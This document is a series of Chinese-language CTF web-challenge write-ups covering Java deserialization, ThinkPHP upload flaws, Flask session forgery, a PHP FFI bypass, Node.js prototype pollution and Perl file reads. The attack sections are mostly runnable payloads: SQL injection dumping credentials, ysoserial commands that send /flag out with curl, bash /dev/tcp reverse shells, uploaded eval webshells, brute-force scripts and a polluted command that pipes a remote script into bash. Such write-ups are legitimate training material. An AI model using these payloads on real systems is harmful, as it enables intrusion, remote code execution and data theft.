1 2 3 myapp#' union select group_concat(schema_name) from information_schema.schemata# 结果 information_schema,myapp,mysql,performance_schema,sys
爆表
1 2 3 myapp#' union select group_concat(table_name)from (information_schema.tables)where (table_schema='myapp' )# 结果user
爆字段
1 2 3 dbName =myapp#' union select group_concat(column_name)from (information_schema.columns)where((table_schema ='myapp' )and(table_name='user'))# 结果 id,name,pwd
获取值
1 2 3 4 5 6 dbName=myapp#' union select group_concat(id)from (user)# 结果 1 dbName=myapp#' union select group_concat(name)from (user)# 结果 admin dbName=myapp#' union select group_concat(pwd)from (user)# 结果 admin@Rrrr_ctf_asde
所以我们就得到一个用户信息 序号为1,name为admin,密码为admin@Rrrr_ctf_asde
然后将用户名和密码在/common/user/login处提价,获取一串字符串 将这段字符串放到/common/user/current处提交,然后就会发现回显了这个用户的信息
对序列化字符串分析
1 Bearer rO0 ABXNyABhjbi5 hYmMuY29 yZS5 tb2 RlbC5 Vc2 VyVm92 RkMxewT0 OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9 Mb25 nO0 wABG5 hbWV0 ABJMamF2 YS9 sYW5 nL1 N0 cmluZzt4 cHNyAA5 qYXZhLmxhbmcuTG9 uZzuL5 JDMjyPfAgABSgAFdmFsdWV4 cgAQamF2 YS5 sYW5 nLk51 bWJlcoaslR0 LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu
引用Mustapha Mond师傅的解释
下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。
java Deserialization Scanner插件使用 使用burpsuite的java Deserialization Scanner插件 对其进行分析,在extender中安装这个插件 然后配置一下环境变量
github下载ysoserial工具,ysoserial是一款用于生成 利用不安全的Java反序列化 的有效负载的概念验证工具。安装ysoserial
先来分析 在进行认证操作时抓包 抓到包将其发送到插件中 然后选择base64开始扫描,结果回显可能为ROME
接下来要用到ysoserial
curl将flag带出来
1 java -jar ysoserial-all.jar ROME "curl http://ip:6666 -d @/flag" >a.bin
执行语句后生成了a.bin
用python脚本解码一下
1 2 3 4 5 6 7 8 # -*- coding: UTF-8 -*- import base64file = open ("a.bin" ,"rb" ) now = file .read ()ba = base64.b64encode(now)print (ba )file .close ()
vps上nc监听端口并将获得的字符串重新认证 要在前面加上Bearer
或者也可以反弹shell
1 2 3 bash -i >& /dev/tcp/111.111.111.111 /6666 0 >&1 base64 编码java -jar ysoserial-all .jar ROME "bash -c {echo,上面的base64编码}|{base64,-d}|{bash,-i}" > a.bin
接着如上的操作即可 得到shell
[RoarCTF 2019]Simple Upload 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php namespace Home \Controller ;use Think \Controller ;class IndexController extends Controller { public function index ( ) { show_source (__FILE__ ); } public function upload ( ) { $uploadFile = $_FILES ['file' ] ; if (strstr (strtolower ($uploadFile ['name' ]), ".php" ) ) { return false ; } $upload = new \Think\Upload (); $upload ->maxSize = 4096 ; $upload ->allowExts = array ('jpg' , 'gif' , 'png' , 'jpeg' ); $upload ->rootPath = './Public/Uploads/' ; $upload ->savePath = '' ; $info = $upload ->upload () ; if (!$info ) { $this ->error ($upload ->getError ()); return ; }else { $url = __ROOT__.substr ($upload ->rootPath,1 ).$info ['file' ]['savepath' ].$info ['file' ]['savename' ] ; echo json_encode (array ("url" =>$url ,"success" =>1 )); } } }
知识点:
thinkphp默认上传目录:index.php/home/index/uplaod
thinkphp支持多个文件上传
thinkphp的文件上传用法这里不对,限定后缀应为$upload->exts,所以文件名过滤无效,所以我们可以上传php文件
thinkphp上传默认命名方式受时间戳控制,所以间隔很短的长传文件名会大致一样。文件名是通过unqid得到的,根据当前时间得到的随机数
再来了解一下uniqid
uniqid uniqid函数是根据当前计算机时间生成一个文件名的函数 这也是upload类调用的命名函数,也就是说,如果我们两个上传的文件在时间上够接近,那么它们的文件名就可以用爆破的方式跑出来,如果我们上传成功,那么当我们访问这个文件的时候,就会有正常回显,但是如果我们访问不到,就会404,也就是说可以根据这个进行爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requests url = "http://a1bd41a1-7318-4723-afd8-ca5f1ab15ba2.node5.buuoj.cn:81/index.php/home/index/upload" file1 = {'file' : open ("url.txt" , 'rb' )} file2 = {'file[]' : open ("1.php" , 'rb' )} r = requests.post (url, files = file1)print (r.text) r = requests.post (url, files = file2)print (r.text) r = requests.post (url, files = file1)print (r.text)
发现只有后面的五位不一样,不考虑大写字母,也就36的5次方,没上亿,应该能扛得住
爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsdir ='abcdefghijklmnopqrstuvwxyz0123456789' for i in dir : for j in dir : for x in dir : for y in dir : for z in dir : url='http://a1bd41a1-7318-4723-afd8-ca5f1ab15ba2.node5.buuoj.cn:81/Public/Uploads/2024-11-12/67335f64{}{}{}{}{}.php' .format (i,j,x,y,z) r = requests.get(url) if r.status_code== 200 : print (url) break
几千万个排列方式,等到天荒地老,网上的wp清一色这种爆破方式,这里我搞了个多线程,成功把电脑淦崩三次且爆到答案 要么就一直提交,可能会随到3个不一样的数,那样就3万多种排列方式,就简单点了 上传了半天,运气爆棚,看看这个 。。。。用bp爆,python爆都没出结果,可能是脸黑把,但我看其它博客是能爆成功的
还有一种解法,应该不算是非预期解
thinkphp文件上传时的文件名的核心处理
1 2 3 4 5 6 7 foreach ($ files as $ key => $ file ) { $ file ['name' ] = strip_tags($ file ['name' ]); if (!isset($ file ['key' ])) $ file ['key' ] = $ key; if (isset($ finfo)){ $ file ['type' ] = finfo_file ( $ finfo , $ file ['tmp_name' ] ); }
这里重点注意strip_tags()这个函数,它的作用是去除PHP标签和HTML标签 我们可以通过这个特性 直接上传1.<>php,内容写一句话就好了
1 2 3 4 5 6 7 8 9 10 11 import requests url = "http://5e0414b2-d663-4a2c-bdfe-411721dd027e.node5.buuoj.cn:81/index.php/home/index/upload" file = {'file': ("1.<> php", ' <?php eval ($_POST [1 ])?> ')} r = requests.post(url, files = file) print(r.text)
然后进入这个路径,竟然不用命令执行flag就给了,命令执行也没用其实
[SWPU2019]Web3 启动环境 首先是一个登录页面,标题为:CTF-Flask-Demo,推测其应为Flask所编写,尝试使用admin用户登录 弱密码直接登录admin admin 点击upload 提示权限不足,考虑为session判断权限,查看cookie
1 session = .eJyrVspMUbKqVlJIUrJS8g1xLFeq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFxjxhY.Z0m7Bw.hy1P-2 NysU_lAi0E-YwUFwEFtRg
在Flask中,session是保存在Cookie中,也就是本地,所以可以直接读取其内容,也就产生了Flask伪造session的漏洞 可以用脚本解密session,使用session_decode 得到解密后的session
1 {'id' : b'100' , 'is_login' : True , 'password' : 'admin' , 'username' : 'admin' }
其中username属性和password属性均为admin,可能后端是验证id属性的值,尝试伪造session,但需要SECRET_KEY的值,SECRET_KEY是Flask中的通用密钥,主要在加密算法中作为一个参数,这个值的复杂度影响到数据传输和存储时的复杂度,密钥最好存储在系统变量中。 访问一个不存在的目录,查看请求头 base64解码 得到
1 SECRET_KEY: keyqqqwwweee!@#$%^&*
将其中id的值修改为1,构造本题所需的session,
1 python flask_session_cookie_manager3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{'id' : b'1' , 'is_login' : True, 'password' : 'admin' , 'username' : 'admin' }"
得到
1 .eJyrVspMUbKqVlJIUrJS8 g20 tVWq1 VHKLI7 PyU_PzFOyKikqTdVRKkgsLi7 PLwIqVEpMyQWK6 yiVFqcW5 SXmpsKFagFiyxgX.Z0 mTzw.TCsWvESKI8 xV1 eMEwotAVE-K_ls
这里抓下包,替换cookie 然后就能进入upload上传文件了 但是到了上传文件时发现并不能上传 在upload目录下的源码发现注释有源码泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 @app .route ('/upload' ,methods=['GET' ,'POST' ]) def upload (): if session['id' ] != b'1' : return render_template_string (temp) if request.method=='POST' : m = hashlib.md5 () name = session['password' ] name = name+'qweqweqwe' name = name.encode (encoding='utf-8' ) m.update (name) md5_one= m.hexdigest () n = hashlib.md5 () ip = request.remote_addr ip = ip.encode (encoding='utf-8' ) n.update (ip) md5_ip = n.hexdigest () f=request.files['file' ] basepath=os.path.dirname (os.path.realpath (__file__)) path = basepath+'/upload/' +md5_ip+'/' +md5_one+'/' +session['username' ]+"/" path_base = basepath+'/upload/' +md5_ip+'/' filename = f.filename pathname = path+filename if "zip" != filename.split ('.' )[-1 ]: return 'zip only allowed' if not os.path.exists (path_base): try : os.makedirs (path_base) except Exception as e : return 'error' if not os.path.exists (path): try : os.makedirs (path) except Exception as e : return 'error' if not os.path.exists (pathname): try : f.save (pathname) except Exception as e : return 'error' try : cmd = "unzip -n -d " +path+" " + pathname if cmd.find ('|' ) != -1 or cmd.find (';' ) != -1 : waf () return 'error' os.system (cmd) except Exception as e : return 'error' unzip_file = zipfile.ZipFile (pathname,'r' ) unzip_filename = unzip_file.namelist ()[0 ] if session['is_login' ] != True : return 'not login' try : if unzip_filename.find ('/' ) != -1 : shutil.rmtree (path_base) os.mkdir (path_base) return 'error' image = open (path+unzip_filename, "rb" ).read () resp = make_response (image) resp.headers['Content-Type' ] = 'image/png' return resp except Exception as e : shutil.rmtree (path_base) os.mkdir (path_base) return 'error' return render_template ('upload.html' )@app .route ('/showflag' ) def showflag (): if True == False : image = open (os.path.join ('./flag/flag.jpg' ), "rb" ).read () resp = make_response (image) resp.headers['Content-Type' ] = 'image/png' return resp else : return "can't give you" -->
应该为路由route.py中的upload页面的源码,对其进行源码审计 在/upload路由中
需要上传一个以.zip结尾的压缩图片
服务器进行解压
文件名不能存在/
在/showflag路由中 给出了flag的路径 ./flag/flag.jpg
通过查阅资料,unzip()存在软链接攻击,发现可以通过上传一个软链接的压缩包,来读取文件 本题漏洞点在这
1 2 3 4 5 6 try: cmd = "unzip -n -d " +path +" " + pathname if cmd.find ('|' ) != -1 or cmd.find (';' ) != -1 : waf() return 'error' os .system(cmd)
这里解释一下软链接
在不知道flask工作目录时,我们可以用/proc/self/cwd/flag.jpg来访问flag # /proc/self 记录系统运行的信息状态 cwd指向当前进程运行目录的一个符号链接 即Flask运行进程目录 ln -s 时linux的软连接命令,其类似与windows的快捷方式。比如ln -s /etc/passwd shaw 这会出现一个名为shaw的文件,其内容为/etc/passwd的内容
所以最后思路是利用ln -s命令,软链接到/proc/self/cwd/flag/flag.jpg
1 2 ln -s /proc/ self/cwd/ flag/flag.jpg shaw zip -ry shaw.zip shaw
其中zip命令的参数含义如下
-r:将指定的目录下的所有子目录以及文件一起处理
-y:直接保存符号连接,而非该链接所指向的文件,本参数仅在UNIX之类的系统下有效
上传压缩包抓包即可 还有一道类似的题
[RCTF 2019]Nextphp 前置知识 一些关于php7.4版本需知 FFI扩展:ffi.cdef 其中有这样一段话 如果ffi.cdef没有第二个参数,会在全局查找,第一个参数所声明的符号。意思就是其在不传入第二个参数时,可以直接调用php代码。所以我们在声明后,即可加入php代码 如果一个类同时实现了Serializable和__Serialize() /__Unserialize(),则序列化讲倾向于使用新机制,而非序列化则可以使用其中一种机制,具体取决于使用的是C(Serializable)还是O(Un unserialize)格式。因此,以C格式编码的旧的序列化字符串仍然可以解码,而新的字符串将以O格式生成。 这也是之后序列化后首字母是C而不是O,同时会先执行Serializable接口中的方法。同时exp中需要把__Unserialize()删除 PHP Serializable是自定义序列化的接口。实现此接口的类将不再支持__sleep()和__wakeup(),当类的实例被序列化时将自动调用serialize方法,并且不会调用__destruct()或有其他影响。当类的实例被反序列化时,将调用unserialize()方法,并且不执行__construct()。
源码
1 2 3 4 5 6 <?php if (isset ($_GET ['a' ])) { eval ($_GET ['a' ]); } else { show_source (__FILE__ ); }
蚁剑不能连接,也不能执行system命令 但可以写一个shell
1 ?a=file_put_contents('1.php',' <?php eval ($_POST ["1" ]);?> ');
禁用了很多函数
尝试bypasss_disable_function
使用LD_PRELOAD方法 发现mail,putenv,error_log全被禁用了
使用Apache Mod CGI 没有开启
还有就是FFI,本题的利用方法就是这个绕过Disable Functions来搞事情 ,这个讲的比较详细
核心思想: 实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions 即先声明后调用 它的利用版本正好也是php7.4以上,还要检查一下是否开启FFI扩展且ffi.enable=true FFI处于enable状态 在连接到蚁剑后发现有一个preload.php文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php final class A implements Serializable { protected $data = [ 'ret' => null , 'func' => 'print_r' , 'arg' => '1' ]; private function run ( ) { $this ->data['ret' ] = $this ->data['func' ]($this ->data['arg' ]); } public function __serialize ( ): array { return $this ->data; } public function __unserialize (array $data ) { array_merge ($this ->data, $data ); $this ->run (); } public function serialize ( ): string { return serialize ($this ->data); } public function unserialize ($payload ) { $this ->data = unserialize ($payload ); $this ->run (); } public function __get ($key ) { return $this ->data[$key ]; } public function __set ($key , $value ) { throw new \Exception ('No implemented' ); } public function __construct ( ) { throw new \Exception ('No implemented' ); } }
本程序中并没有用户传参,还是需要从index.php中传参景区,反序列化。所以去掉多余的函数,编写exp
前置知识说到,需要删掉__serialize和__unserialize,因为php7.4新特性它会优先触发这两个函数,而看这两个函数可知其实现的方法并不是正确的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php final class A implements Serializable { protected $data = [ 'ret' => null , 'func' => 'FFI::cdef' , 'arg' => 'int system(const char *command);' ]; public function serialize ( ): string { return serialize ($this ->data); } public function unserialize ($payload ) { $this ->data = unserialize ($payload ); } }$a = new A ();$b = serialize ($a );echo $b ;
序列化结果
1 C :1 :"A" :95 :{a:3 :{s:3 :"ret" ;N;s:4 :"func" ;s:9 :"FFI::cdef" ;s:3 :"arg" ;s:32 :"int system(const char *command);" ;}}
上述代码实现声明
1 FFI ::cdef ("int system(const char *command);" )
所以现在只需调用即可,通过设置__serialize()[‘ret’]的值获取flag __serialize()[‘ret’]->system(‘curl -d @/flag ip’)
payload
1 ?a=$a=unserialize ('C :1 :"A" :95 :{a:3 :{s:3 :"ret" ;N;s:4 :"func" ;s:9 :"FFI::cdef" ;s:3 :"arg" ;s:32 :"int system(const char *command);" ;}}')-> __serialize()['ret ']-> system ('curl -d @/flag 1.2 .1.2 :6666 ');
传参后完整过程
unserialize 把payload传给data参数,即覆盖原参数
1 2 3 4 5 protected $data = [ 'ret' => null , 'func' => 'FFI::cdef' , 'arg' => 'int system(const char *command);' ];
run
ret=FFI::cdef(‘int system(const char *command);’)
__serialize()
指定的ret内容既是最终的执行命令,通过最后的return调用,返回flag,这里无回显,但是打过去没报错,需要监听,反弹shell行不通,不到为什么
[FBCTF2019]Event 打开题目,只有一个登录注册狂,无法使用admin登录注册 在/flag页面中提示我们并不是管理员,猜测要得到管理员权限才可以Get Flag 在主页看到表单,随意输入一些值进去,页面回显了输入的值 这里可能存在xss或者ssti,尝试后,无xss,应该存在ssti 抓包发现cookie,event_sesh_cookie应该是jwt加密过 大致猜测出本题应该是可以通过SSTI得到密钥伪造cookie,越权登录admin的账户 在提交数据时,有三个可控参数,经测试在event_important参数存在模板注入,输入__dict__,发现成功回显 接着查找配置文件
1 __class__ .__init__ .__globals__ [app].config
得到的密钥为
1 fb+wwn!n1yo+9 c(9 s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y
使用session_decode解密一下 设想通过改id的值为0来实现越权,失败 在没有什么信息可以修改,除非 发现cookie中有个参数为user 再次解密 尝试修改它的值为admin 应该是与flask的签名有关 使用工具Flask-Unsign
1 flask-unsign.exe --secret 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y' --sign --cookie "admin"
得到的user值 里面双引号密钥改为单引号
1 ImFkbWluIg.Z0 rKDw.HS9 TsesgrMmgOHXk4 NcWX64 WuYA
替换cookie
[NewStarCTF 2023 公开赛道]include 0。0 源码
1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ );$file = $_GET ['file' ];if (isset ($file ) && !preg_match ('/base|rot/i' ,$file )){ @include ($file ); }else { die ("nope" ); }?>
收录了几种方法
1 2 3 4 5 ?file=php:// filter/convert.iconv.SJIS*.UCS-2/ resource=flag.php ?file=php:// filter// convert.iconv.SJIS*.UCS-4 */resource=flag.php ?file=php:// filter/convert.iconv.utf8.utf16/ resource=flag.php ?file=php:// filter/convert.iconv.utf-8.utf-7/ resource=flag.php ?file=php:// filter/read=convert.iconv.utf-8.utf-16le/ resource=flag.php
[网鼎杯 2020 青龙组]notes 题目给了附件,给了app.js源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 var express = require ('express' );var path = require ('path' );const undefsafe = require ('undefsafe' );const { exec } = require ('child_process' );var app = express ();class Notes { constructor ( ) { this .owner = "whoknows" ; this .num = 0 ; this .note_list = {}; } write_note (author, raw_note ) { this .note_list [(this .num ++).toString ()] = {"author" : author,"raw_note" :raw_note}; } get_note (id ) { var r = {} undefsafe (r, id, undefsafe (this .note_list , id)); return r; } edit_note (id, author, raw ) { undefsafe (this .note_list , id + '.author' , author); undefsafe (this .note_list , id + '.raw_note' , raw); } get_all_notes ( ) { return this .note_list ; } remove_note (id ) { delete this .note_list [id]; } }var notes = new Notes (); notes.write_note ("nobody" , "this is nobody's first note" ); app.set ('views' , path.join (__dirname, 'views' )); app.set ('view engine' , 'pug' ); app.use (express.json ()); app.use (express.urlencoded ({ extended : false })); app.use (express.static (path.join (__dirname, 'public' ))); app.get ('/' , function (req, res, next ) { res.render ('index' , { title : 'Notebook' }); }); app.route ('/add_note' ) .get (function (req, res ) { res.render ('mess' , {message : 'please use POST to add a note' }); }) .post (function (req, res ) { let author = req.body .author ; let raw = req.body .raw ; if (author && raw) { notes.write_note (author, raw); res.render ('mess' , {message : "add note sucess" }); } else { res.render ('mess' , {message : "did not add note" }); } }) app.route ('/edit_note' ) .get (function (req, res ) { res.render ('mess' , {message : "please use POST to edit a note" }); }) .post (function (req, res ) { let id = req.body .id ; let author = req.body .author ; let enote = req.body .raw ; if (id && author && enote) { notes.edit_note (id, author, enote); res.render ('mess' , {message : "edit note sucess" }); } else { res.render ('mess' , {message : "edit note failed" }); } }) app.route ('/delete_note' ) .get (function (req, res ) { res.render ('mess' , {message : "please use POST to delete a note" }); }) .post (function (req, res ) { let id = req.body .id ; if (id) { notes.remove_note (id); res.render ('mess' , {message : "delete done" }); } else { res.render ('mess' , {message : "delete failed" }); } }) app.route ('/notes' ) .get (function (req, res ) { let q = req.query .q ; let a_note; if (typeof (q) === "undefined" ) { a_note = notes.get_all_notes (); } else { a_note = notes.get_note (q); } res.render ('note' , {list : a_note}); }) app.route ('/status' ) .get (function (req, res ) { let commands = { "script-1" : "uptime" , "script-2" : "free -m" }; for (let index in commands) { exec (commands[index], {shell :'/bin/bash' }, (err, stdout, stderr ) => { if (err) { return ; } console .log (`stdout: ${stdout} ` ); }); } res.send ('OK' ); res.end (); }) app.use (function (req, res, next ) { res.status (404 ).send ('Sorry cant find that!' ); }); app.use (function (err, req, res, next ) { console .error (err.stack ); res.status (500 ).send ('Something broke!' ); });const port = 8080 ; app.listen (port, () => console .log (`Example app listening at http://localhost:${port} ` ))
审计代码,可以发现在status路由下,有一个命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 app.route ('/status' ) .get (function (req, res ) { let commands = { "script-1" : "uptime" , "script-2" : "free -m" }; for (let index in commands) { exec (commands[index], {shell :'/bin/bash' }, (err, stdout, stderr ) => { if (err) { return ; } console .log (`stdout: ${stdout} ` ); }); } res.send ('OK' ); res.end (); })
这一行有可执行代码
1 exec(commands[index] , {shell:'/bin/bash' }
可以通过污染commands这个字典,例如令commands.a=whoami也会帮我们遍历执行 了解到,这个for(let index in commands) 不只是遍历commands表,还会去回溯遍历原型链上的属性
for … in 循环只遍历可枚举属性(包括它的原型链上的可枚举属性) 像array和Object使用内置构造函数所创建的对象都会继承自Object.prototype和String.prototype的不可枚举属性 例如 String 的indexOf()方法或Object的toString()方法。循环将遍历对象本身的所有可枚举属性,以及对象从其构造函数原型中继承的属性(更接近原型链中对象的属性覆盖原型属性)
所以我们这里可以污染原型链的属性,然后在/status处遍历原型链中我们污染的属性去执行恶意代码
/edit_note下可以传三个参数,id author enote
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 app.route('/edit_note' ) .get(function (req, res) { res.render('mess' , {message: "please use POST to edit a note" }); }) .post(function (req, res) { let id = req.body.id ; let author = req.body.author; let enote = req.body.raw; if (id && author && enote) { notes.edit_note(id , author, enote); res.render('mess' , {message: "edit note sucess" }); } else { res.render('mess' , {message: "edit note failed" }); } })
传入后直接写入当前的note_list
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 class Notes { constructor () { this .owner = "whoknows" ; this .num = 0 ; this .note_list = {}; } write_note(author, raw_note) { this .note_list[(this .num++).toString()] = {"author" : author,"raw_note" :raw_note}; } get_note(id) { var r = {} undefsafe(r, id, undefsafe(this .note_list, id)); return r; } edit_note(id, author, raw) { undefsafe(this .note_list, id + '.author' , author); undefsafe(this .note_list, id + '.raw_note' , raw); }
这里注意undefsafe,这里涉及到一个cve漏洞CVE-2019-10795 原型链污染(Prototype Pollution) 在版本小于2.0.3的undefsafe函数有漏洞,可以污染所有对象的原型链,给对象添加属性。 POC如下,污染原型链后,空对象多了个ddd属性,且{}.ddd=JHU
1 2 3 4 5 6 var a = require("undefsafe" );var b = {};var c = {};var payload = "__proto__.ddd" ; a(b,payload,"JHU" );console .log (c.ddd);
例
1 2 3 4 5 6 var object = { a : {b : [1 ,2 ,3 ]} };var res = undefsafe (object , 'a.b.0' , 10 );console .log (object );
所以我们这里可以污染原型链的属性,然后在/status处遍历原型链中我们污染的属性去执行恶意代码 __proto__返回原型链属性 payload如下
1 id =__proto__.bb&author=curl -F 'flag=@/flag' 1.1.1.1:6666&raw =a
在/edit_note界面post传入payload,成功污染原型链 vps上监听端口 然后url进入/status路径下即可获得flag
或者是直接弹shell
1 2 3 4 5 6 POST /edit_note id=__proto__.cmd&author=curl http:// xxx.xxx.xxx.xxx/shell.txt|bash&raw=a 在vps/html目录下创建shell.txt然后把下面的写进去 bash -i >& /dev/ tcp/xxx.xxx.xxx.xxx/ 6666 0 >&1
然后监听端口
[CSAWQual 2016]i_got_id 首先呢,打开环境 三个超链接 第一个Hello World 告诉了我们本题使用的是Perl语言 第二个Forms是一个登录页面,尝试了注入弱密码都不行 第三个Files页面是一个文件上传页面,首先上传一个1.txt文件 发现上传文件的内容被打印在了页面中 根据它的作用,盲猜一手处理文件上传逻辑的代码
1 2 3 4 5 6 7 8 9 use strict;use warnings;use CGI; my $cgi = CGI->new;if ( $cgi ->upload( 'file' ) ) {my $file = $cgi ->param( 'file' );while ( <$file > ) { print "$_ " ; } }
其中param( ‘file’ );param()函数返回一个列表的文件。但是只有第一个文件会被放入file变量中。 while ( <$file> )中,<>不能处理字符串,除非是ARGV,因此循环遍历并将每个值使用open() 调用。 对于读文件,如果传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。 所以,在上传的正常文件前加上一个文件上传项ARGV,然后在URL中传入文件路径参数,就可以读取任意文件。 上传一个文件并抓包 将画起来的区域复制,放到第一行,并删除filename属性,内容为ARGV URL中参数指定路径达到文件读取 flag在根目录下,直接读取就好 或者我们可以RCE Perl 的 open() 函数。此函数还可以执行命令,因为它用于打开管道。在这种情况下,您可以使用 |作为分隔符,因为 Perl 会查找 |来指示 open() 正在打开一个管道。攻击者可以劫持 open() 调用,否则该调用甚至不会通过添加 |到他的询问。 没有回显,这种问题统一甩锅给BUU,原题是这样解的。。原题题解